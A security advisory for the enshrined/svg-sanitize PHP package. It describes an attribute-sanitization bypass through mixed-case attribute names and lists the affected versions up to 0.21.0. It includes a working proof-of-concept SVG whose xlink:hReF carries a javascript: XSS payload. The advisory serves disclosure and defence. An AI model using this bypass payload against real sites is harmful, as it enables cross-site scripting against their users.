GHSA-22wq-q86m-83fh

Suggest an improvement
Source
https://github.com/advisories/GHSA-22wq-q86m-83fh
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-22wq-q86m-83fh/GHSA-22wq-q86m-83fh.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-22wq-q86m-83fh
Aliases
Published
2025-08-12T20:20:58Z
Modified
2025-08-12T20:42:20.247581Z
Severity
  • 5.1 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N CVSS Calculator
Summary
svg-sanitizer Bypasses Attribute Sanitization
Details

Problem

The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. xlink:href instead of xlink:HrEf), which allows to by-pass the isHrefSafeValue check. As a result this allows cross-site scripting or linking to external domains.

Proof-of-concept

provided by azizk

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
  <a xlink:hReF="javascript:alert(document.domain)">
    <rect width="100" height="50" fill="red"></rect>
    <text x="50" y="30" text-anchor="middle" fill="white">Click me</text>
  </a>
</svg>

Credits

The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher azizk <medazizknani@gmail.com>.

Database specific 
{
    "github_reviewed": true,
    "severity": "MODERATE",
    "nvd_published_at": "2025-08-12T17:15:39Z",
    "github_reviewed_at": "2025-08-12T20:20:58Z",
    "cwe_ids": [
        "CWE-601",
        "CWE-79"
    ]
}
References

Affected packages

Packagist / enshrined/svg-sanitize

Package

Name
enshrined/svg-sanitize
Purl
pkg:composer/enshrined/svg-sanitize

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.22.0

Affected versions

0.*

0.1.0
0.1.1
0.1.2
0.1.3
0.1.4
0.1.5
0.1.6
0.2.0
0.2.1
0.3.0
0.4.0
0.4.1
0.5.0
0.5.1
0.5.2
0.5.3
0.5.3.1
0.6.0
0.7.0
0.7.1
0.7.2
0.8.0
0.8.1
0.8.2
0.9.0
0.9.1
0.9.2
0.10.0
0.11.0
0.12.0
0.13.0
0.13.1
0.13.2
0.13.3
0.14.0
0.14.1
0.15.0
0.15.1
0.15.2
0.15.3
0.15.4
0.16.0
0.17.0
0.18.0
0.19.0
0.20.0
0.21.0